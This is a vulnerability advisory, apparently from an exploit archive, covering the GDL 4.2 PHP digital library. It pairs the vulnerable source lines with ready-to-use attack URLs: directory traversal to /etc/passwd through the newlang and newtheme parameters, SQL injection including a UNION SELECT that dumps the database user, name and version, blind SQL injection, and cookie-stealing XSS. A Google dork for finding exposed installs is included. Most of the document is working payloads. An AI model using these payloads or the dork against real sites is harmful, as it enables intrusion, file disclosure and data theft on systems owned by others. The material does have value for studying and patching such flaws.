-> Title : GDL 4.2 Multiple Vulnerabilities
-> Down. Script : http://kmrg.itb.ac.id/ - http://kmrg.itb.ac.id/gdl42.zip
-> Author : ByEge
-> Home : http://byege.blogspot.com.tr/
-> Tested : Apache/2.2.22 (Win32) PHP/5.4.3
-> Date : 26/02/2014
-> Google Dork : "Powered by GDL 4.2" And "gdl.php?mod=browse"
-> Thanks : F0RTYS3V3N - Cyb3rking - ameN
-> Keyfi : http://www.youtube.com/watch?v=wKGMk56zSPI --> Yaz dostum boa gemi mre yaam denir mi ?
-> Not : Kendini gelitirmek isteyen arkadalar kod analizi iin kullanabilirsiniz scripti, bir ok gvenlik zaafiyeti var.
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#Directory traversal vulnerability#
###################################
http://localhost/gdl.php?newlang=../../../../../../../../../../etc/passwd%00
http://localhost/index.php?newlang=../../../../../../../../../../etc/passwd%00
Line : gdl42/class/session.php 96 - 99 parameter : newlang
// Setting bahasa
$lang = $_COOKIE['gdl_lang'];
$newlang = $_GET['newlang'];
if (isset($newlang)) {
if (file_exists("./lang/$newlang.php")) {
setcookie("gdl_lang",$newlang,time()+($gdl_sys['page_caching'] * 60));
$gdl_content->language=$newlang;
} else {
setcookie("gdl_lang",$gdl_sys['language'],time()+($gdl_sys['page_caching'] * 60));
$gdl_content->language=$gdl_sys['language'];
}
} elseif (isset($lang)) {
$gdl_content->language=$lang;
}else{
setcookie("gdl_lang",$gdl_sys['language'],time()+($gdl_sys['page_caching'] * 60));
$gdl_content->language=$gdl_sys['language'];
}
}
function set_theme(){
global $gdl_content, $gdl_sys;
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http://localhost/gdl.php?newtheme=../../../../../../../../../../etc/passwd%00
http://localhost/index.php?newtheme=../../../../../../../../../../etc/passwd%00
Line : gdl42/class/session.php 120 - 123 parameter : newtheme
$theme = $_COOKIE['gdl_theme'];
$newtheme = $_GET['newtheme'];
if (isset($newtheme)) {
if (file_exists("./theme/$newtheme/theme.php")) {
setcookie("gdl_theme",$newtheme,time()+($gdl_sys['page_caching'] * 60));
$gdl_content->theme=$newtheme;
} else {
setcookie("gdl_theme",$gdl_sys['theme'],time()+($gdl_sys['page_caching'] * 60));
$gdl_content->theme=$gdl_sys['theme'];
}
} elseif (isset($theme)) {
$gdl_content->theme=$theme;
}else{
setcookie("gdl_theme",$gdl_sys['theme'],time()+($gdl_sys['page_caching'] * 60));
$gdl_content->theme=$gdl_sys['theme'];
}
}
function login($userid,$password) {
global $gdl_auth,$gdl_sys;
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#############################
#SQL Injection vulnerability#
#############################
http://localhost/download.php?id=injecthere
Line : gdl42/download.php 18 - 24 parameter : id
$file_id = $_GET['id'];
function download_redirect(){
global $file_id,$gdl_db,$gdl_metadata,$gdl_publisher,$gdl_session,$gdl_publisher2;
$dbres = $gdl_db->select("relation","part,path,identifier,uri","relation_id=$file_id");
$file_target=@mysql_result($dbres,0,"path");
$file_part=@mysql_result($dbres,0,"part");
$publisher = $gdl_metadata->get_publisher(@mysql_result($dbres,0,"identifier"));
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#Blind SQL Injection vulnerability#
###################################
http://localhost/gdl.php?mod=browse&newlang=english&op=comment&page=read&id=injecthere
Line : gdl42/main.php 119 parameter : id
if ((file_exists("./theme/".$gdl_content->theme."/".$gdl_content->theme."_print.css"))&& ($_GET['mod']== "browse") && ($_GET['op']=="read") && (! empty ($_GET['id'])))
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########################################
#Cross site scripting xss vulnerability#
########################################
http://localhost/gdl.php?mod=search&action=ByEge&keyword=''"><script>alert(document.cookie)</script>&type=all&submit=OK
Line : module/search/function.php 38 parameter : keyword
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Test Vulnerability :
http://server/download.php?id=null/**/and/**/true/**/UNION/**/SELECT/**/CONCAT_WS(CHAR(32,58,32),user(),database(),version()),2--
http://server/gdl.php?newtheme=../../../../../../../../../../etc/passwd%00
http://server/gdl.php?newlang=../../../../../../../../../../etc/passwd%00
http://server/gdl.php?mod=search&action=folks&keyword=''"><script>alert(document.cookie)</script>&type=all&submit=OK
